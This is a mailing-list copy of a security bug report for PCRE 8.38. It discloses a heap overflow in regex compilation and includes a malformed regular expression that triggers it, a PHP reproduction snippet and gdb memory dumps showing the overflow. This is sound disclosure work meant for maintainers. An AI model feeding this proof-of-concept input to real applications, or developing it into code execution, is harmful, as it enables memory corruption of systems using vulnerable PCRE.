[pcre-dev] [Bug 1767] New: PCRE Library Heap Overflow Vulner…

https://bugs.exim.org/show_bug.cgi?id=1767

            Bug ID: 1767
           Summary: PCRE Library Heap Overflow Vulnerability
           Product: PCRE
           Version: 8.38
          Hardware: All
                OS: All
            Status: NEW
          Severity: security
          Priority: medium
         Component: Code
          Assignee: ph10@???
          Reporter: rubymail@???
                CC: pcre-dev@???

Created attachment 856
--> https://bugs.exim.org/attachment.cgi?id=856&action=edit
regular expression to trigger the crash of pretest

I. Summary
PCRE is a regular expression C library inspired by the regular expression
capabilities in the Perl programming language. The PCRE library is incorporated
into a number of prominent programs, such as Adobe Flash, Apache, Nginx, PHP,
KDE/Konqueror.
PCRE library is prone to a vulnerability which leads to Heap Overflow. During
the compilation of a malformed regular expression, more data is written on the
malloced block than the expected size output by compile_regex. Exploits with
advanced Heap Fengshui techniques may allow an attacker to execute arbitrary
code in the context of the user running the affected application.
------------------------------------------------------------------
II. Description
Latest version of PCRE is prone to a Heap Overflow vulnerability which could
caused by the following regular expression.

/((?:F?+(?:^(?(R)a+\"){99}-))(?J)(?'R'(?'R'<((?'RR'(?'R'\){97)?J)?J)(?'R'(?'R'\){99|(:(?|(?'R')(\k'R')|((?'R')))H'R'R)(H'R))))))/

To reproduce the problem, we could use pcretest provide by PCRE library or
applications which is wrapped with PCRE such as PHP.
For PHP, latest version of PHP 7.0.0 (wrapped with PCRE 8.38) could be
triggered by following code snippet:

<?php
$preg_match("/((?:F?+(?:^(?(R)a+\"){99}-))(?J)(?'R'(?'R'<((?'RR'(?'R'\){97)?J)?J)(?'R'(?'R'\){99|(:(?|(?'R')(\k'R')|((?'R')))H'R'R)(H'R))))))/","WenGuanxing");
?>

First, pcre_compile2 invoke compile_regex() to calucate the size of memory that
is used to save the regular expression.
re then points to the new allocated memory with the size above.
Next, pcre_compile2 invoke compile_regex() again to fill the regular expression
into the allocated memory.
The problem here is that more data is written then expected.

Following test is conveyed under Ubuntu 15.10 x64 with php 7.0.0:
==============================================================
gdb php 
(gdb) r poc.php
9332    re = (REAL_PCRE *)(PUBL(malloc))(size);
(gdb) x/2i $rip-3
   0x5aa95a <php_pcre_compile2+7706>:   mov    rdi,rbx
=> 0x5aa95d <php_pcre_compile2+7709>:   call   QWORD PTR [r12]
(gdb) info registers rdi
rdi            0x710
(gdb) ni
(gdb) x/16b $rax
0x209c870:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x209c878:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
==============================================================

So the expected size of the above regular expression is 0x710 = 1808.
And the base address of allocated memory is 0x209c870.
Here is the layout of 0x209c870 + 0x710 before the second compile_regexp:

==============================================================
(gdb) x/32b (0x209c870+0x710-0x10)
0x209cf70:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x209cf78:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00]
0x209cf80:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x209cf88:      0x81    0xe0    0x00    0x00    0x00    0x00    0x00    0x00
==============================================================

After the second compile_regexp:

==============================================================
(gdb) x/32b (0x209c870+0x710-0x10)
0x209cf70:      0x78    0x00    0x7a    0x78    0x00    0xaa    0x78    0x00
0x209cf78:      0xb0    0x78    0x00    0xb8    0x78    0x00    0xbe    0x78]
0x209cf80:     *0x06   *0xa4   *0x78   *0x06   *0xaa    0x00    0x00    0x00
0x209cf88:      0x81    0xe0    0x00    0x00    0x00    0x00    0x00    0x00
==============================================================

5 more bytes are written on the heap in this case.
This overflow can be used to modify adjacent length field of
array/vector/string, gaining the attacker the ability to read/write the whole
memory in the context of the affected application.
------------------------------------------------------------------
III. Impact
Heap Overflow
------------------------------------------------------------------
IV. Affected
PCRE version 8.38 are confirmed to be vulnerable.
Other applications may also be affected.
------------------------------------------------------------------
V. Credit
Wen Guanxing from Venustech ADLAB is credited for this vulnerability.

--
You are receiving this mail because:
You are on the CC list for the bug.